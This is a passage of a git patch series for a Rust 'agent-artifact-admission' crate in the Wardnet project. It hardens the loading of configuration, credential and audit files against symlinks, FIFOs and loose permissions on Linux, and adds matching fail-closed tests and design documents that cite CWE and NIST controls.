0o4000; /// Minimized content-addressed artifact identity persisted in audit evidence. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] @@ -157,7 +159,7 @@ impl FileAuditSink { .create(true) .append(true) .mode(0o600) - .custom_flags(LINUX_O_NOFOLLOW) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) .open(Path::new(&self.path))?; if !file.metadata()?.is_file() { return Err(io::Error::new( @@ -336,4 +338,4 @@ fn unix_timestamp_ms() -> Result { .duration_since(UNIX_EPOCH) .map(|duration| duration.as_millis()) .map_err(|_| AuditError::ClockUnavailable) -} +} \ No newline at end of file From 1e2efdc9580328709b3d3bdde3682979abf46a2a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 16:14:53 +0900 Subject: [PATCH 272/702] style: preserve audit source newline --- crates/agent-artifact-admission/src/audit.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index 26dcb6a0..c48985f7 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -338,4 +338,4 @@ fn unix_timestamp_ms() -> Result { .duration_since(UNIX_EPOCH) .map(|duration| duration.as_millis()) .map_err(|_| AuditError::ClockUnavailable) -} \ No newline at end of file +} From dcfa3ace0b5d83bbc4fd5f5d76fbf22008a6c6e4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:03:22 +0900 Subject: [PATCH 273/702] test(security): reject symlinked admission inputs --- .../tests/local_file_authority_contract.rs | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/local_file_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/local_file_authority_contract.rs b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs new file mode 100644 index 00000000..ee3fb0a4 --- /dev/null +++ b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs @@ -0,0 +1,86 @@ +#![cfg(unix)] + +use std::fs; +use std::os::unix::fs::{PermissionsExt, symlink}; +use std::path::PathBuf; +use std::time::{SystemTime, UNIX_EPOCH}; + +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, AdmissionServiceConfig, CredentialFile, load_admin_token, load_config, +}; + +fn temp_path(label: &str) -> PathBuf { + let nonce = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("clock must be after epoch") + .as_nanos(); + std::env::temp_dir().join(format!( + "wardnet-agent-local-file-{label}-{}-{nonce}", + std::process::id() + )) +} + +fn valid_config() -> AdmissionServiceConfig { + AdmissionServiceConfig { + configuration_version: "1".to_string(), + bind_address: "127.0.0.1:8787".to_string(), + max_request_body_bytes: 64 * 1024, + audit_log_path: "/var/lib/wardnet/agent-artifact-admission.ndjson".to_string(), + policy: AdmissionPolicy { + policy_id: "deny-all".to_string(), + policy_revision: "test".to_string(), + allowed_executables: Vec::new(), + approved_manifests: Vec::new(), + approved_artifacts: Vec::new(), + }, + } +} + +#[test] +fn credential_loader_rejects_final_symlink_even_to_owner_only_regular_file() { + let target = temp_path("credential-target.json"); + let link = temp_path("credential-link.json"); + let credential = CredentialFile { + admin_token: "0123456789abcdef0123456789abcdef".to_string(), + }; + + fs::write( + &target, + serde_json::to_vec(&credential).expect("credential fixture must serialize"), + ) + .expect("credential target must write"); + fs::set_permissions(&target, fs::Permissions::from_mode(0o600)) + .expect("credential target must be owner-only"); + symlink(&target, &link).expect("credential symlink must be created"); + + assert!( + load_admin_token(&link).is_err(), + "a symlink must not become credential-path authority even when its target is owner-only" + ); + + let _ = fs::remove_file(link); + let _ = fs::remove_file(target); +} + +#[test] +fn policy_loader_rejects_final_symlink_even_to_integrity_protected_regular_file() { + let target = temp_path("policy-target.json"); + let link = temp_path("policy-link.json"); + + fs::write( + &target, + serde_json::to_vec(&valid_config()).expect("policy fixture must serialize"), + ) + .expect("policy target must write"); + fs::set_permissions(&target, fs::Permissions::from_mode(0o644)) + .expect("policy target must not be group/other writable"); + symlink(&target, &link).expect("policy symlink must be created"); + + assert!( + load_config(&link).is_err(), + "a symlink must not become reviewed policy-path authority even when its target is not group/other writable" + ); + + let _ = fs::remove_file(link); + let _ = fs::remove_file(target); +} From b1dec658517fa5f10fac1f40a658f772d1a898d8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:11:17 +0900 Subject: [PATCH 274/702] fix(security): bind admission config reads to regular files --- crates/agent-artifact-admission/src/config.rs | 62 ++++++++++++------- 1 file changed, 40 insertions(+), 22 deletions(-) diff --git a/crates/agent-artifact-admission/src/config.rs b/crates/agent-artifact-admission/src/config.rs index 59eeb748..e8ee38a5 100644 --- a/crates/agent-artifact-admission/src/config.rs +++ b/crates/agent-artifact-admission/src/config.rs @@ -1,8 +1,10 @@ use std::collections::BTreeSet; use std::fmt; -use std::fs::File; +use std::fs::{File, OpenOptions}; use std::io::Read; use std::net::SocketAddr; +#[cfg(target_os = "linux")] +use std::os::unix::fs::OpenOptionsExt; use std::path::Path; use serde::{Deserialize, Serialize}; @@ -19,6 +21,10 @@ const MAX_CREDENTIAL_FILE_BYTES: u64 = 16 * 1024; const MAX_REQUEST_BODY_BYTES: usize = 1024 * 1024; const MAX_ADMIN_TOKEN_BYTES: usize = 4096; const MIN_ADMIN_TOKEN_BYTES: usize = 32; +#[cfg(target_os = "linux")] +const LINUX_O_NOFOLLOW: i32 = 0o400000; +#[cfg(target_os = "linux")] +const LINUX_O_NONBLOCK: i32 = 0o4000; /// Immutable process configuration for the agent-artifact admission service. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] @@ -244,28 +250,43 @@ fn valid_executable(value: &str) -> bool { .all(|byte| byte.is_ascii_alphanumeric() || matches!(byte, b'-' | b'_' | b'.' | b'+')) } +/// Acquire security-sensitive local configuration through one Linux descriptor. +/// `O_NOFOLLOW` binds the decision to a non-symlink final component and +/// `O_NONBLOCK` prevents a FIFO from stalling startup before type validation. +#[cfg(target_os = "linux")] +fn open_local_authority_file(path: &Path) -> Result { + OpenOptions::new() + .read(true) + .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) + .open(path) + .map_err(|_| ConfigError::Io) +} + +/// Fail closed on platforms where Wardnet has not implemented an equivalent +/// no-follow, nonblocking local-file authority contract. +#[cfg(not(target_os = "linux"))] +fn open_local_authority_file(_path: &Path) -> Result { + Err(ConfigError::Io) +} + fn read_credential_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { - let file = File::open(path).map_err(|_| ConfigError::Io)?; + let file = open_local_authority_file(path)?; validate_credential_file_permissions(&file)?; read_open_file_bounded(file, maximum_bytes) } -#[cfg(unix)] +#[cfg(target_os = "linux")] fn validate_credential_file_permissions(file: &File) -> Result<(), ConfigError> { use std::os::unix::fs::PermissionsExt; - let mode = file - .metadata() - .map_err(|_| ConfigError::Io)? - .permissions() - .mode(); - if mode & 0o077 != 0 { + let metadata = file.metadata().map_err(|_| ConfigError::Io)?; + if !metadata.is_file() || metadata.permissions().mode() & 0o077 != 0 { return Err(ConfigError::InvalidCredential); } Ok(()) } -#[cfg(not(unix))] +#[cfg(not(target_os = "linux"))] fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> { Err(ConfigError::InvalidCredential) } @@ -276,24 +297,21 @@ fn validate_credential_file_permissions(_file: &File) -> Result<(), ConfigError> /// filesystem TOCTOU interval. See /// `docs/doctoring/agent-artifact-admission-configuration-integrity.md`. fn read_bounded(path: &Path, maximum_bytes: u64) -> Result, ConfigError> { - let file = File::open(path).map_err(|_| ConfigError::Io)?; + let file = open_local_authority_file(path)?; validate_config_file_permissions(&file)?; read_open_file_bounded(file, maximum_bytes) } -/// Reject Unix policy files writable by group or other principals while -/// preserving read-only visibility. Policy integrity, not confidentiality, is -/// the invariant at this boundary; credentials use a separate stricter check. -#[cfg(unix)] +/// Reject non-regular policy inputs and Linux policy files writable by group or +/// other principals while preserving read-only visibility. Policy integrity, +/// not confidentiality, is the invariant at this boundary; credentials use a +/// separate stricter check. +#[cfg(target_os = "linux")] fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { use std::os::unix::fs::PermissionsExt; - let mode = file - .metadata() - .map_err(|_| ConfigError::Io)? - .permissions() - .mode(); - if mode & 0o022 != 0 { + let metadata = file.metadata().map_err(|_| ConfigError::Io)?; + if !metadata.is_file() || metadata.permissions().mode() & 0o022 != 0 { return Err(ConfigError::InvalidConfiguration); } Ok(()) @@ -303,7 +321,7 @@ fn validate_config_file_permissions(file: &File) -> Result<(), ConfigError> { /// configuration mutation authority. Adding a platform-specific ACL model is a /// separate compatibility change; silently accepting unverifiable authority is /// not an equivalent security boundary. -#[cfg(not(unix))] +#[cfg(not(target_os = "linux"))] fn validate_config_file_permissions(_file: &File) -> Result<(), ConfigError> { Err(ConfigError::InvalidConfiguration) } From 5ae2383f88a381ddb80139f715a12cd1ef04bb91 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:11:54 +0900 Subject: [PATCH 275/702] test(security): bound special admission-file rejection --- .../tests/local_file_authority_contract.rs | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) diff --git a/crates/agent-artifact-admission/tests/local_file_authority_contract.rs b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs index ee3fb0a4..39cf9814 100644 --- a/crates/agent-artifact-admission/tests/local_file_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/local_file_authority_contract.rs @@ -3,12 +3,23 @@ use std::fs; use std::os::unix::fs::{PermissionsExt, symlink}; use std::path::PathBuf; +#[cfg(target_os = "linux")] +use std::process::{Command, Stdio}; +#[cfg(target_os = "linux")] +use std::thread; +#[cfg(target_os = "linux")] +use std::time::{Duration, Instant}; use std::time::{SystemTime, UNIX_EPOCH}; use wardnet_agent_artifact_admission::{ AdmissionPolicy, AdmissionServiceConfig, CredentialFile, load_admin_token, load_config, }; +#[cfg(target_os = "linux")] +const FIFO_HELPER_PATH: &str = "WARDNET_ADMISSION_FIFO_HELPER_PATH"; +#[cfg(target_os = "linux")] +const HELPER_DEADLINE: Duration = Duration::from_secs(3); + fn temp_path(label: &str) -> PathBuf { let nonce = SystemTime::now() .duration_since(UNIX_EPOCH) @@ -84,3 +95,66 @@ fn policy_loader_rejects_final_symlink_even_to_integrity_protected_regular_file( let _ = fs::remove_file(link); let _ = fs::remove_file(target); } + +#[cfg(target_os = "linux")] +#[test] +fn loaders_reject_fifo_without_blocking_before_file_type_validation() { + let fifo_path = temp_path("authority-fifo"); + let mkfifo = Command::new("mkfifo") + .arg(&fifo_path) + .status() + .expect("mkfifo must be available on the Linux test runner"); + assert!(mkfifo.success(), "FIFO fixture must be created"); + + let executable = std::env::current_exe().expect("current test executable must resolve"); + let mut child = Command::new(executable) + .arg("--exact") + .arg("local_authority_fifo_open_helper") + .arg("--nocapture") + .env(FIFO_HELPER_PATH, &fifo_path) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .expect("isolated FIFO helper must start"); + + let deadline = Instant::now() + HELPER_DEADLINE; + let status = loop { + match child + .try_wait() + .expect("FIFO helper status must be readable") + { + Some(status) => break Some(status), + None if Instant::now() < deadline => thread::sleep(Duration::from_millis(25)), + None => break None, + } + }; + + let _ = fs::remove_file(&fifo_path); + + match status { + Some(status) => assert!( + status.success(), + "both local authority readers must reject a FIFO through their stable fail-closed errors" + ), + None => { + let _ = child.kill(); + let _ = child.wait(); + panic!( + "an admission local-file reader blocked while opening a FIFO; special inputs must fail closed promptly" + ); + } + } +} + +#[cfg(target_os = "linux")] +#[test] +fn local_authority_fifo_open_helper() { + let Ok(path) = std::env::var(FIFO_HELPER_PATH) else { + return; + }; + let path = PathBuf::from(path); + + assert!(load_admin_token(&path).is_err()); + assert!(load_config(&path).is_err()); +} From df64d5f87588ba094793d5f52569b191673b9dc1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:12:37 +0900 Subject: [PATCH 276/702] docs(security): bind local admission authority to opened objects --- ...ifact-admission-configuration-integrity.md | 30 ++++++++++++++----- 1 file changed, 23 insertions(+), 7 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission-configuration-integrity.md b/docs/doctoring/agent-artifact-admission-configuration-integrity.md index e32e1343..b093d2e7 100644 --- a/docs/doctoring/agent-artifact-admission-configuration-integrity.md +++ b/docs/doctoring/agent-artifact-admission-configuration-integrity.md @@ -4,21 +4,33 @@ Wardnet treats the Agent Artifact Admission configuration as policy authority, not as a secret. The file contains the reviewed policy revision, executable allowlist, workspace-manifest digests, and exact artifact coordinates. Read-only group or other visibility therefore does not change admission authority, but group or other write authority does: an unintended writer could replace an approved digest, artifact coordinate, or executable and thereby alter the result of a later admission decision. -On Unix, the loader opens the configured path once and inspects permissions through metadata obtained from that already-open `File` before reading and parsing its bytes. It rejects any group/other write bit (`mode & 0o022 != 0`) as `ConfigError::InvalidConfiguration`. This intentionally permits read-only modes such as `0644` while rejecting policy-mutation authority such as `0664` or `0666`. The separate credential loader remains stricter because credential confidentiality, unlike policy-file confidentiality, is itself a security requirement. +Credentials are a separate authority-bearing input. Their confidentiality and integrity both matter because the document carries the admission endpoint bearer token. A filesystem pathname is not itself sufficient evidence that either policy or credential bytes came from the intended local object. -The same-open-handle sequence is deliberate. A path-level permission check followed by a separate open would create a check/use interval in which the pathname could resolve to a different object. Dean and Hu (2004) formalize this class of filesystem TOCTOU race and show why a security decision separated from acquisition is unsafe under an adversarial pathname. Borisov et al. (2005) subsequently demonstrate that probabilistic attempts to make such path races difficult remain exploitable, reinforcing the preference for descriptor-bound checks rather than repeated pathname checks. Wardnet does not claim that descriptor metadata alone solves every filesystem replacement problem; it closes the narrower defect in this slice: deciding whether the bytes already opened as policy are writable by unintended Unix principals before those same opened bytes are materialized. +## Descriptor-bound acquisition -On non-Unix targets, this version fails closed because the product has not defined or tested a native ACL-equivalence contract for policy mutation authority. Silently accepting the configuration would assert a security property the implementation cannot currently verify. Adding Windows ACL or another platform-native authority model is a separate compatibility increment and must retain the same fail-closed invariant. +On Linux, both loaders now use one read-only open with `O_NOFOLLOW | O_NONBLOCK`, then inspect the resulting descriptor before materializing bytes. A final symbolic link is therefore rejected by the open operation rather than followed. A FIFO can be opened for inspection without waiting for a writer, after which Wardnet rejects it because the opened descriptor is not a regular file. Other special-file types are rejected by the same regular-file invariant. + +This order is deliberate. POSIX.1-2024 specifies that `O_NOFOLLOW` causes `open()` to fail when the final pathname component is a symbolic link and that a read-only FIFO opened with `O_NONBLOCK` returns without waiting for a writer. The same standard notes that no-follow behavior avoids races in which a pathname is substituted with a symbolic link to a sensitive object. MITRE CWE-59 classifies security-sensitive link following as improper link resolution before file access and identifies confidentiality, integrity and access-control consequences. + +After the descriptor is acquired, the policy loader rejects any group/other write bit (`mode & 0o022 != 0`) as `ConfigError::InvalidConfiguration`. This intentionally permits read-only modes such as `0644` while rejecting policy-mutation authority such as `0664` or `0666`. The credential loader is stricter and rejects any group/other permission bit (`mode & 0o077 != 0`) because credential confidentiality is itself a requirement. Both checks use metadata from the already-open regular-file descriptor. + +The same-open-handle sequence also preserves the earlier TOCTOU decision. A path-level permission or file-type check followed by a separate open would create a check/use interval in which the pathname could resolve to a different object. Dean and Hu (2004) formalize this class of filesystem race, while Borisov et al. (2005) show why probabilistic attempts to make such races difficult do not provide a sound authority boundary. Wardnet therefore does not add a pathname pre-check as a substitute for descriptor-bound acquisition. + +On targets other than Linux, this version fails closed because Wardnet has not defined and tested an equivalent no-follow, nonblocking open plus native ACL authority contract. The file-backed audit sink already follows the same compatibility boundary. Adding another platform is a separate compatibility increment and must preserve equivalent link, special-file, permission and bounded-read guarantees rather than silently weakening them. ## Executable acceptance contract -`config_file_permissions_contract.rs` creates one valid configuration, applies safe and unsafe Unix modes to the same fixture, and calls the public loader. Safe modes `0600`, `0640`, `0644`, and `0400` must load. Unsafe modes `0660`, `0606`, `0664`, `0646`, and `0666` must return exactly `ConfigError::InvalidConfiguration`; accepting any of them, or failing for a generic I/O/JSON reason, does not satisfy the security contract. +`config_file_permissions_contract.rs` creates one valid configuration, applies safe and unsafe Linux modes to the same fixture, and calls the public loader. Safe modes `0600`, `0640`, `0644`, and `0400` must load. Unsafe modes `0660`, `0606`, `0664`, `0646`, and `0666` must return exactly `ConfigError::InvalidConfiguration`; accepting any of them, or failing for a generic JSON reason, does not satisfy the security contract. -This maps directly to CWE-732: a security-critical configuration resource must not be modifiable by unintended actors. NIST SP 800-53 Rev. 5 CM-5 requires defined and enforced logical/physical restrictions on system changes; AC-6 provides the least-privilege principle for granting only the authorizations required for the task. Here, the smallest enforceable local boundary is write authority over the reviewed policy file. +`local_file_authority_contract.rs` covers the object-identity boundary independently of permission bits. A mode-`0600` credential target and a mode-`0644` policy target reached only through final symbolic links must both fail closed. Its Linux FIFO helper runs in a child process with a fixed deadline so a regression cannot hang the test job indefinitely; both loaders must reject the FIFO promptly before any attempt to parse it as JSON. -## Scope and residual risk +These tests complement rather than replace the append-only audit-path contracts. The audit sink and the two admission input readers now use the same Linux acquisition properties while retaining different write/read and confidentiality invariants appropriate to their bounded responsibilities. -This decision does not add runtime policy mutation, directory-ownership policy, secret distribution, sandbox execution, reusable egress control, LLM orchestration, or static package analysis. Those remain outside this bounded context. It also does not claim immutable storage, signature verification, or a complete cross-platform ACL model. The next independent audit-path hardening work is tracked separately and must not be folded into this configuration-loader slice. +## Control mapping and scope + +The permission portion maps directly to CWE-732: a security-critical configuration resource must not be modifiable by unintended actors. The pathname-object portion maps to CWE-59. NIST SP 800-53 Rev. 5 CM-5 requires defined and enforced restrictions on system changes, while AC-6 provides the least-privilege principle for granting only the authorizations required for the task. Here, the smallest enforceable local boundary is: acquire one non-symlink, nonblocking regular-file descriptor; verify the relevant local authority bits on that descriptor; then read only within the fixed byte budget. + +This decision does not add runtime policy mutation, directory-ownership policy, secret distribution, hostile workload execution, reusable egress control, LLM orchestration, or static package analysis. Those remain outside this bounded context. It does not claim immutable storage, signature verification, protection against a malicious privileged filesystem administrator, or a complete cross-platform ACL model. The USENIX papers are linked to their publisher copies rather than vendored into this repository. Their published reproduction terms are narrower than an unrestricted software-repository redistribution grant, so the repository preserves citation and traceability without copying the PDFs. @@ -28,6 +40,10 @@ Borisov, N., Johnson, R., Sastry, N., & Wagner, D. (2005). Fixing races for fun Dean, D., & Hu, A. J. (2004). Fixing races for fun and profit: How to use access(2). *13th USENIX Security Symposium*. https://www.usenix.org/conference/13th-usenix-security-symposium/fixing-races-fun-and-profit-how-use-access2 +IEEE & The Open Group. (2024). *open, openat — open file*. In *POSIX.1-2024*. https://pubs.opengroup.org/onlinepubs/9799919799/functions/open.html + +MITRE. (2026). *CWE-59: Improper link resolution before file access ('link following') (CWE 4.20)*. https://cwe.mitre.org/data/definitions/59.html + MITRE. (2026). *CWE-732: Incorrect permission assignment for critical resource (CWE 4.20)*. https://cwe.mitre.org/data/definitions/732.html National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations* (NIST Special Publication 800-53 Rev. 5). https://doi.org/10.6028/NIST.SP.800-53r5 From b28b72350247729d9a64bf2c9ff2e619b13a5ddd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:46:25 +0900 Subject: [PATCH 277/702] test(security): reject unsafe existing audit storage --- .../tests/audit_contract.rs | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs index 824d0f52..530e09e1 100644 --- a/crates/agent-artifact-admission/tests/audit_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -1,4 +1,6 @@ use std::fs; +#[cfg(target_os = "linux")] +use std::os::unix::fs::PermissionsExt; use std::time::{SystemTime, UNIX_EPOCH}; use wardnet_agent_artifact_admission::{ @@ -97,6 +99,52 @@ fn file_sink_appends_complete_synchronized_ndjson_records() { let _ = fs::remove_file(path); } +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_existing_regular_file_with_group_or_other_permissions() { + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + + for mode in [0o666, 0o640, 0o604] { + let path = temp_path(&format!("unsafe-mode-{mode:o}")); + fs::write(&path, b"existing-audit-record\n").expect("audit fixture must write"); + fs::set_permissions(&path, fs::Permissions::from_mode(mode)) + .expect("audit fixture permissions must be set"); + let sink = FileAuditSink::new(path.clone()); + + assert!( + sink.append(&record).is_err(), + "pre-existing audit file mode {mode:o} must fail closed before security evidence is appended" + ); + assert_eq!( + fs::read(&path).expect("audit fixture must remain readable"), + b"existing-audit-record\n", + "unsafe pre-existing audit storage must remain unmodified" + ); + + let _ = fs::remove_file(path); + } +} + +#[cfg(target_os = "linux")] +#[test] +fn file_sink_accepts_existing_owner_only_regular_file() { + let path = temp_path("existing-owner-only"); + fs::write(&path, b"existing-audit-record\n").expect("audit fixture must write"); + fs::set_permissions(&path, fs::Permissions::from_mode(0o600)) + .expect("audit fixture must be owner-only"); + let (intent, decision) = sensitive_blocked_attempt(); + let record = build_audit_record(&intent, &decision).expect("audit record must build"); + let sink = FileAuditSink::new(path.clone()); + + sink.append(&record) + .expect("owner-only pre-existing audit storage must remain appendable"); + let body = fs::read_to_string(&path).expect("audit file must be readable"); + assert_eq!(body.lines().count(), 2); + + let _ = fs::remove_file(path); +} + #[test] fn file_sink_rejects_oversized_serialized_record_without_writing() { let path = temp_path("oversized"); From 1a745da95e019459c0625f395cf8090d894ce8ac Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:48:38 +0900 Subject: [PATCH 278/702] fix(security): reject unsafe audit file permissions --- crates/agent-artifact-admission/src/audit.rs | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/audit.rs b/crates/agent-artifact-admission/src/audit.rs index c48985f7..43c8d7f0 100644 --- a/crates/agent-artifact-admission/src/audit.rs +++ b/crates/agent-artifact-admission/src/audit.rs @@ -2,7 +2,7 @@ use std::fmt; use std::fs::{File, OpenOptions}; use std::io::{self, Write}; #[cfg(target_os = "linux")] -use std::os::unix::fs::OpenOptionsExt; +use std::os::unix::fs::{OpenOptionsExt, PermissionsExt}; use std::path::{Path, PathBuf}; use std::sync::Mutex; use std::time::{SystemTime, UNIX_EPOCH}; @@ -161,10 +161,11 @@ impl FileAuditSink { .mode(0o600) .custom_flags(LINUX_O_NOFOLLOW | LINUX_O_NONBLOCK) .open(Path::new(&self.path))?; - if !file.metadata()?.is_file() { + let metadata = file.metadata()?; + if !metadata.is_file() || metadata.permissions().mode() & 0o077 != 0 { return Err(io::Error::new( - io::ErrorKind::InvalidInput, - "audit storage must be a regular file", + io::ErrorKind::PermissionDenied, + "audit storage must be an owner-only regular file", )); } Ok(file) From 378e24075aa316c9058c8b6df3fcd7d5c5ff4fc5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 17:50:47 +0900 Subject: [PATCH 279/702] docs(security): bind audit evidence storage authority --- ...act-admission-audit-storage-permissions.md | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 docs/doctoring/agent-artifact-admission-audit-storage-permissions.md diff --git a/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md b/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md new file mode 100644 index 00000000..40770853 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md @@ -0,0 +1,56 @@ +# Agent Artifact Admission audit-storage permission authority + +Status: Proposed implementation evidence for issue #256 / PR #257. This document does not widen Wardnet into execution isolation, outbound transport enforcement, Agent/LLM orchestration, or static package analysis. + +## Problem and exact evidence + +Wardnet's Agent Artifact Admission persists minimized security decisions to an append-only NDJSON file before returning an admission result. At canonical parent `eec36424a2a4cd3e08e6ab61af1e112e387f2ac4`, the Linux file sink opened its target with `O_NOFOLLOW | O_NONBLOCK`, `O_APPEND`, `O_CREAT`, and creation mode `0600`, then verified only that the opened descriptor referred to a regular file. + +That creation mode is insufficient authority for an already-existing inode. Linux `open(2)` applies the supplied mode when a file is created; opening an existing regular file does not retroactively narrow its permissions. A pre-existing audit target readable or writable by group/other principals could therefore receive Agent Artifact Admission evidence even though Wardnet had not established exclusive audit-storage authority. + +Test-only exact `b28b72350247729d9a64bf2c9ff2e619b13a5ddd` materialized the hostile RED on hosted Ubuntu 24.04. CI `34456998108`, job `102805608039`, reached the real workspace test suite and failed only the new audit-storage regression: a pre-existing mode `0666` regular file was accepted and appended instead of failing closed. The owner-only `0600` positive control passed. This isolates the defect from runner availability, symlink handling, FIFO handling, serialization, and ordinary append semantics. + +## Authority and constraints + +The affected resource is Wardnet-owned security evidence. The record carries actor, workspace, artifact identity, policy revision and admission decision metadata. Its confidentiality and integrity therefore cannot depend on an operator having manually repaired filesystem mode bits before process start. + +The repair must preserve the existing single-open property. A pathname metadata check followed by a later open would reintroduce a time-of-check/time-of-use interval. A post-open `chmod` is also rejected: silently mutating externally provisioned storage would hide deployment drift, can surprise storage ownership policy, and is not needed to establish a fail-closed admission boundary. + +`quarantine-sandbox-runtime` remains authoritative for hostile execution/isolation and effective runtime environment; EgressWeave remains authoritative for executable outbound transport; `contextual-orchestrator` remains authoritative for Agent/LLM orchestration; AppGuardrail remains authoritative for static package/security analysis. This change governs only Wardnet's own file-backed admission evidence sink. + +## Decision + +On Linux, retain the existing `O_NOFOLLOW | O_NONBLOCK | O_APPEND` acquisition and `0600` creation mode. Immediately after the single open and before any record write, inspect metadata from that same descriptor. The descriptor is admissible only when it is a regular file and `mode & 0o077 == 0`. Any group/other read, write or execute permission fails closed as storage unavailable. An already-existing owner-only `0600` file remains valid, and a newly created target remains `0600` subject to the process umask. + +The implementation does not call `chmod`, does not replace the path, does not follow a second pathname lookup, and does not weaken the existing symlink/FIFO/special-file controls. Platforms without Wardnet's tested native file-authority contract continue to fail closed rather than claiming equivalent ACL semantics. + +## Alternatives considered + +Allowing group-readable `0640` or world-readable `0644` was rejected because the persisted record contains security decision and actor/workspace metadata, not public telemetry. Allowing group-writable storage was rejected because another principal could alter the evidence stream. Automatically tightening permissions with `chmod` was rejected because it conceals unsafe deployment state and changes external resource policy. Path-based preflight metadata was rejected because a second open would break the existing same-descriptor authority invariant. + +## Security and operational effect + +The selected invariant converts unsafe pre-existing storage from an implicit trust assumption into an explicit startup/write-time failure. This is intentionally availability-sacrificing: an insecure audit target prevents durable evidence and therefore prevents an admission response from being treated as successful. Operators receive the existing non-secret storage failure rather than path, payload or credential material. + +The change does not prove filesystem-owner identity, immutable storage, remote log retention, SIEM ingestion, or production retention policy. Those remain separate controls. Future support for richer ACLs or non-Linux platforms requires a separately tested native authority model rather than weakening this Unix mode-bit contract. + +## Acceptance + +The exact repaired head must demonstrate all of the following on hosted Linux before integration: + +- pre-existing regular files with representative group/other permission bits such as `0666`, `0640`, and `0604` are rejected without appending bytes; +- a pre-existing owner-only `0600` regular file remains appendable; +- newly created audit storage remains owner-only; +- existing symlink, FIFO, special-file, bounded-record, flush and `sync_data` behavior remains intact; +- exact-head CI and fuzz gates are terminal green, with no unresolved valid review finding; +- the entire RED, causal source delta, tests and evidence are transferred into canonical Agent Artifact Admission PR #129 or a verified successor by ordinary non-force integration. + +## Traceability + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations (NIST Special Publication 800-53 Rev. 5)*. https://doi.org/10.6028/NIST.SP.800-53r5 — AU-9 requires protection of audit information and audit logging tools from unauthorized access, modification, and deletion. + +National Institute of Standards and Technology. (2024). *Protecting controlled unclassified information in nonfederal systems and organizations (NIST Special Publication 800-171 Rev. 3)*. https://doi.org/10.6028/NIST.SP.800-171r3 — requirement 03.03.08 maps to AU-9 protection of audit information. + +MITRE. (2026). *CWE-732: Incorrect Permission Assignment for Critical Resource (CWE 4.20)*. https://cwe.mitre.org/data/definitions/732.html — overly broad permissions on security-critical resources permit unintended read or modification; insecure resource permissions should be rejected or constrained deliberately. + +Linux man-pages project. (2026). *open(2) — Linux manual page*. https://man7.org/linux/man-pages/man2/open.2.html — `O_NOFOLLOW` rejects a trailing symbolic link, `O_NONBLOCK` avoids blocking semantics where applicable such as FIFOs, and the `mode` argument governs creation permissions rather than retroactively constraining an already-existing inode. From b992cdb0e3cc42cd48427072373010fcde798a78 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 10 Sep 2026 18:03:51 +0900 Subject: [PATCH 280/702] test(security): reject hard-linked audit storage --- .../tests/audit_contract.rs | 41 ++++++++++++++++++- 1 file changed, 40 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/audit_contract.rs b/crates/agent-artifact-admission/tests/audit_contract.rs index 530e09e1..35ef07f0 100644 --- a/crates/agent-artifact-admission/tests/audit_contract.rs +++ b/crates/agent-artifact-admission/tests/audit_contract.rs @@ -1,6 +1,6 @@ use std::fs; #[cfg(target_os = "linux")] -use std::os::unix::fs::PermissionsExt; +use std::os::unix::fs::{MetadataExt, PermissionsExt}; use std::time::{SystemTime, UNIX_EPOCH}; use wardnet_agent_artifact_admission::{ @@ -145,6 +145,45 @@ fn file_sink_accepts_existing_owner_only_regular_file() { let _ = fs::remove_file(path); } +#[cfg(target_os = "linux")] +#[test] +fn file_sink_rejects_hard_linked_owner_only_regular_file() { + let target = temp_path("hard-link-target"); + let path = temp_path("hard-link-audit"); + let original = b"sensitive-owner-only-file\n"; + fs::write(&target, original).expect("hard-link target fixture must write"); + 